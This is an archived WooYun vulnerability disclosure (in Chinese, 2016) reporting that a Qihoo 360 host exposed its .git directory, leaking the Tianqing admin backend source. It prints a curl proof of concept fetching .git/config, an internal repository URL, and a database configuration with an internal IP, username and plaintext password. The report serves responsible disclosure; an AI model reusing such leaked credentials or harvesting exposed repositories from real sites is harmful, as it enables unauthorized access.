破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

360某系统git配置不当导致源码泄露

编号185662
Urlhttp://www.wooyun.org/bug.php?action=view&id=185662
漏洞状态厂商已经修复
漏洞标题360某系统git配置不当导致源码泄露
漏洞类型敏感信息泄露
厂商奇虎360
白帽子orange
提交日期2016-03-17 15:45:00
公开日期2016-04-19 19:04:00
修复时间2016-04-19 19:04:00
确认时间2016-03-17 00:00:00
Confirm Spend0
漏洞标签敏感信息泄漏 敏感信息泄露 默认配置不当 源码泄漏
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank3
漏洞简介
RT
漏洞细节

##URL

http://api.b.360.cn/.git


发现是天擎的管理后台源码

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>天擎6全国用户分布图</title>

POC

##.git/config

➜  GitHack git:(master) ✗ curl http://api.b.360.cn/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
[remote "origin"]
url = https://git.corp.qihoo.net/360wangguanban/u_b_360_cn_code.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "dev_newub360cn"]
remote = origin
merge = refs/heads/dev_newub360cn
[branch "sync_api_b_360_cn"]
remote = origin
merge = refs/heads/sync_api_b_360_cn
[branch "bugfix_2018XXXX"]
remote = origin
merge = refs/heads/bugfix_2018XXXX


##数据库配置文件

<?php
// This is the database connection configuration.
return array(
// 'connectionString' => 'sqlite:'.dirname(__FILE__).'/../data/testdrive.db',
// uncomment the following lines to use a MySQL database

'class' => 'CDbConnection',
'connectionString' => sprintf('mysql:host=%s;port=%s;dbname=%s', '10.131.199.254', '3489', 'entvalidate'),
'emulatePrepare' => true,
'username' => 'entvalidate',
'password' => '056f8ceb1c3953ae',
'charset' => 'utf8',

);

修复方案

删除

状态信息 2016-03-17: 细节已通知厂商并且等待厂商处理中
2016-03-17: 厂商已经确认,细节仅向厂商公开
2016-03-27: 细节向核心白帽子及相关领域专家公开
2016-04-06: 细节向普通白帽子公开
2016-04-16: 细节向实习白帽子公开
2016-04-19: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复感谢白帽子关注360产品安全,我们第一时间修复处理。
回应信息危害等级:低漏洞Rank:3 确认时间:2016-03-17 19:03